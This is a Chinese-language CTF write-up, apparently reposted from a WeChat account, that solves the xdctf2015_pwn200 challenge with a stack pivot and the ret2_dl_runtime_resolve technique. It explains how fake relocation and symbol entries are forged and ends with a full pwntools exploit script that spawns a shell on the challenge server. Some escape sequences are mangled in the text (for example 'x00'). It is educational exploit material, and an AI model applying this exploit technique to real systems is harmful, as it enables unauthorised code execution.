【前言】
鸽了2天,今天终于把文章写出来了。
ret2_dl_runtime_resolve属于高阶利用技巧,理解起来有点头疼,但是这种利用方法一通百通,只要理解一遍之后遇到这种问题改改参数就能很快求解出来。
本文所用的代码参考了以下两个链接,两个配合着看对理解这部分的原理很有帮助:
https://xz.aliyun.com/t/5122#toc-9
http://pwn4.fun/2016/11/09/Return-to-dl-resolve/
【正文】
题目链接:
https://buuoj.cn/challenges#xdctf2015_pwn200
checksec分析保护。
只开了堆栈不可执行,且为32位的程序。
拖入IDApro静态分析。
程序在vuln函数内存在栈溢出。
由于程序内没有system函数,也没有其他可利用的gadgets,考虑使用ret2_dl_runtime_resolve进行解题。
1、栈迁移
程序内无法进行leak泄露出栈地址,考虑进行栈迁移,将栈顶迁移到可控的地址区域。
payload如下:
# stack pivot
offset = 0x6C + 0x4
leave_ret = 0x0804851A
ppp_ret = 0x08048629
pop_ebp_ret = 0x0804862b
# payload = b"a" * offset + p32(read_plt) + p32(ppp_ret) + p32(0) + p32(new_stack) + p32(0x100)
# payload += p32(pop_ebp_ret) + p32(new_stack - 0x4) + p32(leave_ret)
# p.sendlineafter(b"Welcome to XDCTF2015~!n", payload)
rop = ROP("./" + binary)
rop.raw(b'a' * offset)
rop.read(0, new_stack, 0x100)
rop.migrate(new_stack)
p.sendline(rop.chain())
可以手动构造payload,也可以利用pwntools自带的ROP工具来构造rop链。
2、getshell
这边先给出第二次传的payload:
cmd = b"/bin/shx00"
reloc_offset = (new_stack + 4 * 0x4) - rel_plt
write_got = elf.got['write']
fake_sym_addr = new_stack + 6 * 0x4
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
fake_sym_addr = fake_sym_addr + align
index_dynsym = (fake_sym_addr - dynsym) / 0x10
r_info = (int(index_dynsym) << 8) | 0x7
fake_reloc = flat([write_got, r_info])
st_name = new_stack + 108 - dynstr
fake_sym = flat([st_name, 0, 0, 0x12])
rop = ROP("./" + binary)
rop.raw(plt0)
rop.raw(reloc_offset)
rop.raw(0)
rop.raw(new_stack + 100)
rop.raw(fake_reloc)
rop.raw(align * b"x00")
rop.raw(fake_sym)
rop.raw((100 - len(rop.chain())) * b"x00")
rop.raw(cmd)
rop.raw(b"systemx00")
rop.raw((0x100 - len(rop.chain())) * b"x00")
p.sendline(rop.chain())ear.sh_add
这边先引用一下别人写的dl_runtime_resolve的具体的调用过程:
根据 reloc_index 计算相应的重定位表项:Elf32_Rel *reloc = JMPREL + index
根据得到的重定位表项的 r_info 得到对应的符号在符号表中的索引:(reloc->r_info)>>8
继而得到对应的符号:Elf32_Sym *sym = &SYMTAB[((reloc->r_info)>>8)]
判断符号的类型是否为 R_386_JMP_SLOT:assert (((reloc->r_info)&0xff) == 0x7 )
根据 name 来寻找相应函数在库中的地址:name = STRTAB + sym->st_name
先知社区-高级ROP ret2dl_runtime 之通杀详解
这里的JMPREL就是plt0。
接着分析payload。
该利用方式的入口为dl_runtime_resolve函数,而该函数实际调用的是dl_fixup(struct link_map *l, ElfW(Word) reloc_offset),当栈迁移到可控的区域(比如elf.bss() + 0x500),通过第二次read操作读入的第一个地址如果是plt0的话,就可以只传递1个参数调用dl_fixup,即传一个伪造的reloc_offset即可。
在上面的payload中,reloc_offset的值为(new_stack + 4 * 0x4) - rel_plt, 刚好是rop链中fake_reloc的位置。
fake_reloc的结构为<write@got, r_info>,根据上述调用过程,r_info的功能就是用来定位dynsym表项的,具体如下:
Elf32_Sym *sym = &SYMTAB[((reloc->r_info)8)]
上述代码表明了dynsym表项和r_info的关系。从payload来看,在构造r_info之前共进行了以下步骤:
fake_sym_addr:由于在rop链中,fake_sym_addr被放在第6个位置(从0开始数),所以fake_sym_addr的值定义为new_stack + 6 * 0x4。
align:以read函数为例子,其在dynsym表内的表项为:
Elf32_Sym <offset aRead - offset byte_804827C, 0, 0, 12h, 0, 0>
长度为0X10,且和dynsym表头的差为0x10的整数倍。所以align为0x10减去(fake_sym_addr与dynsym表头的差跟0xf作&操作的值),这样fake_sym_addr + align就能达到地址对齐的目的。
然后是对fake_sym_addr的地址作修正。
index_dynsym:计算伪造的dynsym表项是相对于表头的第几项。
最后计算r_info。加入算出来的index_dynsym的值为320,则通过上述操作算出来为0x3207,最后一位的0x7表示为导入函数。这部分的知识可以参考文章开头给出的两个链接。
根据上述给出的read函数在dynsym表内表项的结构进行分析:
-
offset aRead - offset byte_804827c:这部分其实是st_name,代表函数名称和dynstr表头的距离,其中在这里dynstr表头的地址为0x804827c。
-
第四部分的0x12表示导入函数,其余部分均为0。
在payload中,传入的函数名称为system,存放在new_stack + 108的位置。所以构造的system函数的表项为:
st_name = new_stack + 108 - dynstr
fake_sym = flat([st_name, 0, 0, 0x12])
然后就是构造rop链。
另外,fake_reloc = flat([write_got, r_info])中的write_got部分不一定都要取write@got,可以取setbuf@got或者read@got等在程序内已经被调用过的函数的got表地址即可。
【完整的wp】
wp内包含了手动构造rop链和使用ROP构造rop链的方法。
from pwn import *
context.log_level = "debug"
context.arch = "i386"
context.os = "linux"
context.terminal = ['tmux','splitw','-h']
binary = "bof"
# p = process("./" + binary)
p = remote("node4.buuoj.cn", 26531)
elf = ELF("./" + binary)
plt0 = elf.get_section_by_name('.plt').header.sh_addr
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr
read_plt = elf.plt["read"]
new_stack = elf.bss() + 0x500
# stack pivot
offset = 0x6C + 0x4
leave_ret = 0x0804851A
ppp_ret = 0x08048629
pop_ebp_ret = 0x0804862b
# payload = b"a" * offset + p32(read_plt) + p32(ppp_ret) + p32(0) + p32(new_stack) + p32(0x100)
# payload += p32(pop_ebp_ret) + p32(new_stack - 0x4) + p32(leave_ret)
# p.sendlineafter(b"Welcome to XDCTF2015~!n", payload)
rop = ROP("./" + binary)
rop.raw(b'a' * offset)
rop.read(0, new_stack, 0x100)
rop.migrate(new_stack)
p.sendlineafter(b"Welcome to XDCTF2015~!n", rop.chain())
# one way to ret2_dll_runtime
# cmd = b"/bin/shx00"
# reloc_offset = (new_stack + 4 * 0x4) - rel_plt
# write_got = elf.got['write']
# fake_sym_addr = new_stack + 6 * 0x4
# align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
# fake_sym_addr = fake_sym_addr + align
# index_dynsym = (fake_sym_addr - dynsym) / 0x10
# r_info = (int(index_dynsym) << 8) | 0x7
# fake_reloc = p32(write_got) + p32(r_info)
# st_name = new_stack + 108 - dynstr
# fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)
# payload = p32(plt0) + p32(reloc_offset) + p32(0) + p32(new_stack + 100) + fake_reloc + align * b"x00" + fake_sym
# payload += (100 - len(payload)) * b"x00" + cmd + b"systemx00"
# payload += (0x100 - len(payload)) * b"x00"
# p.sendline(payload)
# another way to ret2_dll_runtime
cmd = b"/bin/shx00"
reloc_offset = (new_stack + 4 * 0x4) - rel_plt
write_got = elf.got['write']
fake_sym_addr = new_stack + 6 * 0x4
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
fake_sym_addr = fake_sym_addr + align
index_dynsym = (fake_sym_addr - dynsym) / 0x10
r_info = (int(index_dynsym) << 8) | 0x7
fake_reloc = flat([write_got, r_info])
st_name = new_stack + 108 - dynstr
fake_sym = flat([st_name, 0, 0, 0x12])
rop = ROP("./" + binary)
rop.raw(plt0)
rop.raw(reloc_offset)
rop.raw(0)
rop.raw(new_stack + 100)
rop.raw(fake_reloc)
rop.raw(align * b"x00")
rop.raw(fake_sym)
rop.raw((100 - len(rop.chain())) * b"x00")
rop.raw(cmd)
rop.raw(b"systemx00")
rop.raw((0x100 - len(rop.chain())) * b"x00")
p.sendline(rop.chain())
p.interactive()
原文始发于微信公众号(Stack0verf1ow):【PWN】刷题记录-ret2_dl_runtime
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论